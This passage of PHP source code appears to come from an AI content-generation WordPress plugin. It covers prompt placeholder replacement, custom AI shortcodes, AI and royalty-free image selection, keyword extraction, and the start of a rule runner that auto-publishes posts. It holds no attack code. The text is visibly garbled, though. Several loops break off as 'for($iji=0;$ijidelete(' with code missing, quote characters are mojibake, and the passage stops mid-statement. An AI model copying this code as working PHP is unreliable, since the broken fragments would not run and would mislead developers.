$product_titles, $language, $writing_style, $writing_tone, $sections, $current_section, $sections_count, $paragraph_count, $post_title_keywords, '', $global_prepend, $global_append, $product_reviews, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $default_cat_list); } $custom_shortcodes = preg_split('/\r\n|\r|\n/', $custom_shortcodes); foreach($custom_shortcodes as $my_short) { $name_part = explode('=>', $my_short); if(isset($name_part[1]) && !empty(trim($name_part[1]))) { $shortname = trim($name_part[0]); if(strstr($prompt, '%%' . $shortname . '%%')) { $shortval = ''; $ai_part = explode('@@', $name_part[1]); if(isset($ai_part[1]) && !empty(trim($ai_part[1]))) { if(!in_array(trim($ai_part[0]), $allmodels)) { $aimodel = get_default_model_name($aiomatic_Main_Settings); } else { $aimodel = trim($ai_part[0]); } $ai_command = trim($ai_part[1]); $ai_command = apply_filters('aiomatic_replace_aicontent_shortcode', $ai_command); $max_tokens = aiomatic_get_max_tokens($aimodel); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = aiomatic_compute_available_tokens($aimodel, $max_tokens, $ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $ai_command = aiomatic_substr($ai_command, 0, $string_len); $ai_command = trim($ai_command); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $temperature = 1; $top_p = 1; $presence_penalty = 0; $frequency_penalty = 0; if(!empty($global_prepend)) { $ai_command = $global_prepend . ' ' . $ai_command; } if(!empty($global_append)) { $ai_command = $ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $aimodel); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $aimodel . ') for custom shortcode text: ' . $ai_command); } $generated_text = aiomatic_generate_text($token, $aimodel, $ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'customShortcode', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', '', $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Custom shortcode generator error: ' . $aierror); } else { $shortval = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\'')); } } $prompt = str_replace('%%' . $shortname . '%%', $shortval, $prompt); } } } } $prompt = str_replace('%%default_post_cats%%', $default_cat_list, $prompt); $prompt = apply_filters('aiomatic_replace_aicontent_shortcode', $prompt); preg_match_all('#%%related_questions_([^%]*?)%%#i', $prompt, $mxatches); if(isset($mxatches[1][0])) { foreach($mxatches[1] as $googlematch) { $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', ''); if(is_array($mtchres) && !empty($mtchres)) { $quests = array(); foreach($mtchres as $mra) { $quests[] = $mra['q']; } $mtchres = implode(',', $quests); } $prompt = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $prompt); } } return $prompt; } function aiomatic_replace_review($prompt, $post_title, $search_keywords, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $sections, $current_section, $sections_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list = '', $item_score = '', $edition = '', $language = '', $pages_count = '', $publication_date = '', $contributors = '', $manufacturer = '', $binding = '', $product_group = '', $rating = '', $eans = '', $part_no = '', $model = '', $warranty = '', $color = '', $is_adult = '', $dimensions = '', $date = '', $size = '', $unit_count = '') { $blog_title = html_entity_decode(get_bloginfo('title')); $prompt = str_replace('%%search_keywords%%', $search_keywords, $prompt); $prompt = str_replace('%%post_title%%', $post_title, $prompt); $prompt = str_replace('%%product_title%%', $product_title, $prompt); $prompt = str_replace('%%product_description%%', $product_description, $prompt); $prompt = str_replace('%%aff_url%%', $aff_url, $prompt); $prompt = str_replace('%%product_author%%', $product_author, $prompt); $prompt = str_replace('%%offer_price%%', $offer_price, $prompt); $prompt = str_replace('%%product_price%%', $product_price, $prompt); $prompt = str_replace('%%product_list_price%%', $product_list_price, $prompt); $prompt = str_replace('%%price_numeric%%', $price_numeric, $prompt); $prompt = str_replace('%%price_currency%%', $price_currency, $prompt); $prompt = str_replace('%%product_brand%%', $product_brand, $prompt); $prompt = str_replace('%%product_reviews%%', $product_reviews, $prompt); $prompt = str_replace('%%product_isbn%%', $product_isbn, $prompt); $prompt = str_replace('%%product_upc%%', $product_upc, $prompt); $prompt = str_replace('%%product_asin%%', $product_asin, $prompt); $prompt = str_replace('%%cart_url%%', $cart_url, $prompt); $prompt = str_replace('%%list_price_numeric%%', $list_price_numeric, $prompt); $prompt = str_replace('%%product_imgs%%', $product_imgs, $prompt); $prompt = str_replace('%%all_product_titles%%', $product_titles, $prompt); $prompt = str_replace('%%post_title_keywords%%', $post_title_keywords, $prompt); $prompt = str_replace('%%blog_title%%', $blog_title, $prompt); $prompt = str_replace('%%language%%', $content_language, $prompt); $prompt = str_replace('%%writing_style%%', $writing_style, $prompt); $prompt = str_replace('%%writing_tone%%', $writing_tone, $prompt); $prompt = str_replace('%%sections%%', $sections, $prompt); $prompt = str_replace('%%current_section%%', $current_section, $prompt); $prompt = str_replace('%%sections_count%%', $sections_count, $prompt); $prompt = str_replace('%%paragraphs_per_section%%', $paragraph_count, $prompt); $prompt = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $prompt); $prompt = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $prompt); $prompt = str_replace('%%point_of_view%%', $point_of_view, $prompt); //new $prompt = str_replace('%%product_score%%', $item_score, $prompt); $prompt = str_replace('%%product_edition%%', $edition, $prompt); $prompt = str_replace('%%product_language%%', $language, $prompt); $prompt = str_replace('%%product_pages_count%%', $pages_count, $prompt); $prompt = str_replace('%%product_publication_date%%', $publication_date, $prompt); $prompt = str_replace('%%product_contributors%%', $contributors, $prompt); $prompt = str_replace('%%product_manufacturer%%', $manufacturer, $prompt); $prompt = str_replace('%%product_binding%%', $binding, $prompt); $prompt = str_replace('%%product_product_group%%', $product_group, $prompt); $prompt = str_replace('%%product_rating%%', $rating, $prompt); $prompt = str_replace('%%product_ean%%', $eans, $prompt); $prompt = str_replace('%%product_part_no%%', $part_no, $prompt); $prompt = str_replace('%%product_model%%', $model, $prompt); $prompt = str_replace('%%product_warranty%%', $warranty, $prompt); $prompt = str_replace('%%product_color%%', $color, $prompt); $prompt = str_replace('%%product_is_adult%%', $is_adult, $prompt); $prompt = str_replace('%%product_dimensions%%', $dimensions, $prompt); $prompt = str_replace('%%product_date%%', $date, $prompt); $prompt = str_replace('%%product_size%%', $size, $prompt); $prompt = str_replace('%%product_unit_count%%', $unit_count, $prompt); $prompt = aiomatic_replaceSynergyShortcodes($prompt); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for the custom shortcode creator to work!'); } else { $allmodels = aiomatic_get_all_models(); $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if($custom_shortcodes != '' && !is_array($custom_shortcodes)) { $custom_shortcodes = aiomatic_replace_review($custom_shortcodes, $post_title, $search_keywords, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $language, $writing_style, $writing_tone, $sections, $current_section, $sections_count, $paragraph_count, $post_title_keywords, '', $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count); } $custom_shortcodes = preg_split('/\r\n|\r|\n/', $custom_shortcodes); foreach($custom_shortcodes as $my_short) { $name_part = explode('=>', $my_short); if(isset($name_part[1]) && !empty(trim($name_part[1]))) { $shortname = trim($name_part[0]); if(strstr($prompt, '%%' . $shortname . '%%')) { $shortval = ''; $ai_part = explode('@@', $name_part[1]); if(isset($ai_part[1]) && !empty(trim($ai_part[1]))) { if(!in_array(trim($ai_part[0]), $allmodels)) { $aimodel = get_default_model_name($aiomatic_Main_Settings); } else { $aimodel = trim($ai_part[0]); } $ai_command = trim($ai_part[1]); $ai_command = apply_filters('aiomatic_replace_aicontent_shortcode', $ai_command); preg_match_all('#%%related_questions_([^%]*?)%%#i', $ai_command, $mxatches); if(isset($mxatches[1][0])) { foreach($mxatches[1] as $googlematch) { $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', ''); if(is_array($mtchres) && !empty($mtchres)) { $quests = array(); foreach($mtchres as $mra) { $quests[] = $mra['q']; } $mtchres = implode(',', $quests); } $ai_command = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $ai_command); } } $max_tokens = aiomatic_get_max_tokens($aimodel); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = aiomatic_compute_available_tokens($aimodel, $max_tokens, $ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $ai_command = aiomatic_substr($ai_command, 0, $string_len); $ai_command = trim($ai_command); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $temperature = 1; $top_p = 1; $presence_penalty = 0; $frequency_penalty = 0; if(!empty($global_prepend)) { $ai_command = $global_prepend . ' ' . $ai_command; } if(!empty($global_append)) { $ai_command = $ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $aimodel); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $aimodel . ') for custom shortcode text: ' . $ai_command); } $generated_text = aiomatic_generate_text($token, $aimodel, $ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'customShortcode', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', '', $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Custom shortcode generator error: ' . $aierror); } else { $shortval = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\'')); } } $prompt = str_replace('%%' . $shortname . '%%', $shortval, $prompt); } } } } $prompt = str_replace('%%default_post_cats%%', $default_cat_list, $prompt); $prompt = apply_filters('aiomatic_replace_aicontent_shortcode', $prompt); preg_match_all('#%%related_questions_([^%]*?)%%#i', $prompt, $mxatches); if(isset($mxatches[1][0])) { foreach($mxatches[1] as $googlematch) { $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', ''); if(is_array($mtchres) && !empty($mtchres)) { $quests = array(); foreach($mtchres as $mra) { $quests[] = $mra['q']; } $mtchres = implode(',', $quests); } $prompt = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $prompt); } } return $prompt; } function aiomatic_get_royalty_free_image($query_words, $enable_ai_images, $image_size, &$images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, &$raw_img_list = array(), $default_cat_list = '', $image_model = 'dalle2') { $ret_image = false; $full_result_list = array(); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(count($images_arr) > 0) { $first_el = array_shift($images_arr); $ret_image = $first_el; } elseif($enable_ai_images == '1') { if(strlen($query_words) > 400) { $query_words = aiomatic_substr($query_words, 0, 400); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $image_model); aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $query_words); } $aierror = ''; $temp_get_imgs = aiomatic_generate_ai_image($token, 1, $query_words, $image_size, 'contentImageAI', false, 0, $aierror, $image_model); if($temp_get_imgs !== false) { foreach($temp_get_imgs as $tmpimg) { $ret_image = $tmpimg; } } else { aiomatic_log_to_file('Failed to generate AI image: ' . $aierror); } } elseif($enable_ai_images == '2') { if(strlen($query_words) > 2000) { $query_words = aiomatic_substr($query_words, 0, 2000); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = 'Stability.AI'; aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $query_words); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $ierror = ''; $temp_get_imgs = aiomatic_generate_stability_image($query_words, $height, $width, 'contentStableImageAI', 0, false, $ierror, false, false); if($temp_get_imgs !== false) { $ret_image = $temp_get_imgs[1]; } else { aiomatic_log_to_file('Failed to generate Stability.AI image: ' . $ierror); } } elseif($enable_ai_images == '4') { if(strlen($query_words) > 2000) { $query_words = aiomatic_substr($query_words, 0, 2000); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = 'Midjourney'; aiomatic_log_to_file('Calling ' . $api_service . ' for image: ' . $query_words); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } elseif($image_size == '1024x1792') { $width = '1024'; $height = '1792'; } elseif($image_size == '1792x1024') { $width = '1792'; $height = '1024'; } else { $width = '512'; $height = '512'; } $ierror = ''; $temp_get_imgs = aiomatic_generate_ai_image_midjourney($query_words, $width, $height, 'contentMidjourneyImageAI', false, $ierror); if($temp_get_imgs !== false) { $ret_image = $temp_get_imgs; } else { aiomatic_log_to_file('Failed to generate Midjourney image: ' . $ierror); } } elseif($enable_ai_images == '3') { if ($image_url != '') { $replacement = str_replace(array('[', ']'), '', $query_words); $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url); $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv); return $my_img; }, $image_url_temp); $spintax = new AIomatic_Spintax(); $img_rulx = $spintax->Parse(trim($image_url_temp)); $img_rulx = explode(',', $img_rulx); $img_rulx = trim($img_rulx[array_rand($img_rulx)]); if($img_rulx != '') { $ret_image = $img_rulx; } } } else { $image_query = aiomatic_extract_keyword($query_words, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $token, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); if(!empty($image_query)) { $kws = explode(',', $image_query); $image_query = trim($kws[0]); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Keyword "' . $image_query . '" was extracted from text: ' . $query_words); } $query_words = $image_query; } $temp_img_attr = ''; $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 10, false, $raw_img_list, array(), $full_result_list); if($temp_get_img == '' || $temp_get_img === false) { aiomatic_log_to_file('Failed to find royalty free image for: ' . $query_words); } else { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Got royalty free image: ' . $temp_get_img); } $ret_image = $temp_get_img; } } return $ret_image; } function aiomatic_extract_keyword($image_query, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $token, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list) { $query_words = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor') { if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '') { try { if(!class_exists('TextRazor')) { require_once(dirname(__FILE__) . "/res/TextRazor.php"); } TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key'])); $textrazor = new TextRazor(); $textrazor->addExtractor('entities'); $response = $textrazor->analyze($image_query); if (isset($response['response']['entities'])) { foreach ($response['response']['entities'] as $entity) { if(isset($entity['entityEnglishId'])) { $query_words = $entity['entityEnglishId']; if(!empty($query_words)) { break; } } else { $query_words = $entity['entityId']; if(!empty($query_words)) { break; } } } } } catch(Exception $e) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to search for keywords using TextRazor (!): ' . $e->getMessage()); } } } } elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai') { if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '') { if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '') { $kw_model = $aiomatic_Main_Settings['keyword_model']; } else { $kw_model = get_default_model_name($aiomatic_Main_Settings); } if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '') { $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id']; } else { $keyword_assistant_id = ''; } $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']); $title_ai_command = str_replace('%%default_post_cats%%', $default_cat_list, $title_ai_command); if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command); $title_ai_command = array_filter($title_ai_command); if(count($title_ai_command) > 0) { $title_ai_command = $title_ai_command[array_rand($title_ai_command)]; } else { $title_ai_command = ''; } } $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); if(!empty($title_ai_command)) { $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $image_query, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, '', $custom_shortcodes, $global_prepend, $global_append); } $title_ai_command = trim($title_ai_command); if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt')) { $txt_content = aiomatic_get_web_page($title_ai_command); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $title_ai_command = $txt_content; $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $image_query, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, '', $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API keyword extractor seed expression provided!'); $title_ai_command = 'Type the most relevant keyword, no other text before or after it, for a blog post titled: ' . trim(strip_tags($image_query)); } $max_seed_tokens = 1000; if(strlen($title_ai_command) > $max_seed_tokens * 4) { $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4))); } $title_ai_command = trim($title_ai_command); if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API title seed expression provided(3)! ' . print_r($title_ai_command, true)); } else { $max_tokens = 2048; $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($title_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len); $title_ai_command = trim($title_ai_command); $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $temperature = 0; $top_p = 0; $presence_penalty = 0; $frequency_penalty = 0; if(!empty($global_prepend)) { $title_ai_command = $global_prepend . ' ' . $title_ai_command; } if(!empty($global_append)) { $title_ai_command = $title_ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $kw_model . ') for keyword text: ' . $title_ai_command); } $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordImg', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Keyword generator error: ' . $aierror); } else { $query_words = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\'')); } } } } if(empty($query_words)) { $keyword_class = new Aiomatic_keywords(); $query_words = $keyword_class->keywords($image_query, 1); } return $query_words; } function aiomatic_run_rule($param, $type = 0, $auto = 1, $ret_content = 0, $rules = null, $stop_omnmiblock_id = '', $omniWebhookID = '') { $plugin = plugin_basename(__FILE__); $plugin_slug = explode('/', $plugin); $plugin_slug = $plugin_slug[0]; $uoptions = array(); $is_activated = aiomatic_is_activated($plugin_slug, $uoptions); if($is_activated !== true && $is_activated !== 2) { aiomatic_log_to_file('The plugin is not activated using a valid purchase code. You need to activate the plugin for this feature to work.'); return 'fail'; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!'); return 'fail'; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if($ret_content == 0) { $f = fopen(get_temp_dir() . 'aiomatic_' . $type . '_' . $param, 'w'); if($f !== false) { $flock_disabled = explode(',', ini_get('disable_functions')); if(!in_array('flock', $flock_disabled)) { if (!flock($f, LOCK_EX | LOCK_NB)) { return 'nochange'; } } } $GLOBALS['wp_object_cache']->delete('aiomatic_running_list', 'options'); if (!get_option('aiomatic_running_list')) { $running = array(); } else { $running = get_option('aiomatic_running_list'); } if (!empty($running)) { if (in_array(array( $param => $type ), $running)) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Only one instance of this rule is allowed. Rule is already running!'); } return 'nochange'; } } $running[] = array( $param => $type ); update_option('aiomatic_running_list', $running, false); register_shutdown_function('aiomatic_clear_flag_at_shutdown', $param, $type); if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_exec_time('Run Rule Type ' . $type . ' ID ' . $param); } } if (isset($aiomatic_Main_Settings['rule_timeout']) && $aiomatic_Main_Settings['rule_timeout'] != '') { $timeout = intval($aiomatic_Main_Settings['rule_timeout']); } else { $timeout = 36000; } ini_set('safe_mode', 'Off'); ini_set('max_execution_time', $timeout); ini_set('ignore_user_abort', 1); ini_set('user_agent', aiomatic_get_random_user_agent()); if(function_exists('ignore_user_abort')) { ignore_user_abort(true); } if(function_exists('set_time_limit')) { set_time_limit($timeout); } require_once(dirname(__FILE__) . "/res/aiomatic-chars.php"); $posts_inserted = 0; if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') { try { $old_title = ''; $cont = 0; $found = 0; $enable_comments = '1'; $enable_pingback = '1'; $ai_command = ''; $headings = ''; $images = ''; $videos = ''; $post_title = ''; $default_category = ''; $extra_categories = ''; $min_char = '1'; $post_status = 'publish'; $remove_default = ''; $random_order = ''; $csv_separator = ''; $title_ai_command = ''; $strip_title = ''; $img_all_headings = ''; $heading_img_location = ''; $title_source = ''; $skipt = 0; $headings_ai_command = ''; $title_once = ''; $category_model = get_default_model_name($aiomatic_Main_Settings); $category_ai_command = ''; $custom_shortcodes= ''; $strip_by_regex = ''; $strip_by_regex_prompts = ''; $replace_regex = ''; $replace_regex_prompts = ''; $run_regex_on = ''; $max_links = ''; $search_query_repetition = ''; $link_post_types = 'post'; $enable_toc = ''; $tag_model = get_default_model_name($aiomatic_Main_Settings); $tag_ai_command = ''; $min_time = ''; $max_time = ''; $assistant_id = ''; $skip_spin = ''; $skip_translate = ''; $title_model = get_default_model_name($aiomatic_Main_Settings); $post_type = 'post'; $accept_comments = 'closed'; $post_user_name = 1; $item_create_tag = ''; $can_create_tag = 'disabled'; $item_tags = ''; $max = 50; $auto_categories = 'disabled'; $custom_fields = ''; $custom_tax = ''; $temperature = ''; $post_prepend = ''; $post_append = ''; $enable_ai_images = ''; $top_p = ''; $presence_penalty = ''; $frequency_penalty = ''; $royalty_free = ''; $image_size = '256x256'; $headings_list = ''; $images_list = ''; $headings_model = get_default_model_name($aiomatic_Main_Settings); $wpml_lang = ''; $post_format = 'post-format-standard'; $max_tokens = AIOMATIC_DEFAULT_MAX_TOKENS; $max_seed_tokens = 1000; $posting_mode = 'title'; $post_topic_list = ''; $post_sections_list = ''; $content_language = ''; $writing_style = ''; $writing_tone = ''; $topic_proscons_model = ''; $proscons_prompt = ''; $topic_reviews_model = ''; $reviews_prompt = ''; $sections_prompt = ''; $title_prompt = ''; $content_prompt = ''; $excerpt_prompt = ''; $section_count = ''; $paragraph_count = ''; $topic_title_model = ''; $topic_sections_model = ''; $topic_content_model = ''; $topic_excerpt_model = ''; $single_content_call = ''; $intro_prompt = ''; $topic_intro_model = get_default_model_name($aiomatic_Main_Settings); $outro_prompt = ''; $topic_outro_model = get_default_model_name($aiomatic_Main_Settings); $model = get_default_model_name($aiomatic_Main_Settings); $topic_qa_model = get_default_model_name($aiomatic_Main_Settings); $topic_images = ''; $qa_prompt = ''; $topic_videos = ''; $no_random = ''; $title_toc = ''; $title_qa = ''; $title_outro = ''; $link_type = 'internal'; $link_list = ''; $link_nofollow = ''; $parent_id = ''; $skip_inexist = ''; $global_prepend = ''; $image_url = ''; $draft_me = false; $global_append = ''; $enable_qa = ''; $sections_role = ''; $url_list = ''; $affiliate_id = ''; $first_hand = ''; $default_lang = ''; $max_products = ''; $min_price = ''; $max_price = ''; $sort_results = ''; $title_proscons = ''; $enable_proscons = ''; $enable_reviews = ''; $title_reviews = ''; $shuffle_products = ''; $amazon_keyword = ''; $rule_description = ''; $ai_titles = ''; $days_no_run = ''; $overwrite_existing = ''; $max_caption = ''; $max_continue_tokens = 500; $title_generator_method = ''; $update_post_id = ''; $point_of_view = ''; $ai_command_image = ''; $rule_unique_id = ''; $no_headlink = ''; $enable_table = ''; $table_prompt = ''; $topic_table_model= ''; $image_model = 'dalle2'; if($type == 0 || empty($type)) { if($rules === null) { $GLOBALS['wp_object_cache']->delete('aiomatic_rules_list', 'options'); if (!get_option('aiomatic_rules_list')) { $rules = array(); } else { $rules = get_option('aiomatic_rules_list'); } } if (!empty($rules)) { foreach ($rules as $request => $bundle[]) { if ($cont == $param) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$ijidelete('aiomatic_youtube_list', 'options'); if (!get_option('aiomatic_youtube_list')) { $rules = array(); } else { $rules = get_option('aiomatic_youtube_list'); } } if (!empty($rules)) { foreach ($rules as $request => $bundle[]) { if ($cont == $param) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$ijidelete('aiomatic_amazon_list', 'options'); if (!get_option('aiomatic_amazon_list')) { $rules = array(); } else { $rules = get_option('aiomatic_amazon_list'); } } if (!empty($rules)) { foreach ($rules as $request => $bundle[]) { if ($cont == $param) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$ijidelete('aiomatic_review_list', 'options'); if (!get_option('aiomatic_review_list')) { $rules = array(); } else { $rules = get_option('aiomatic_review_list'); } } if (!empty($rules)) { foreach ($rules as $request => $bundle[]) { if ($cont == $param) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$ijidelete('aiomatic_csv_list', 'options'); if (!get_option('aiomatic_csv_list')) { $rules = array(); } else { $rules = get_option('aiomatic_csv_list'); } } if (!empty($rules)) { foreach ($rules as $request => $bundle[]) { if ($cont == $param) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$ijidelete('aiomatic_omni_list', 'options'); if (!get_option('aiomatic_omni_list')) { $rules = array(); } else { $rules = get_option('aiomatic_omni_list'); } } if (!empty($rules)) { foreach ($rules as $request => $bundle[]) { if ($cont == $param) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$ijidelete('aiomatic_listicle_list', 'options'); if (!get_option('aiomatic_listicle_list')) { $rules = array(); } else { $rules = get_option('aiomatic_listicle_list'); } } if 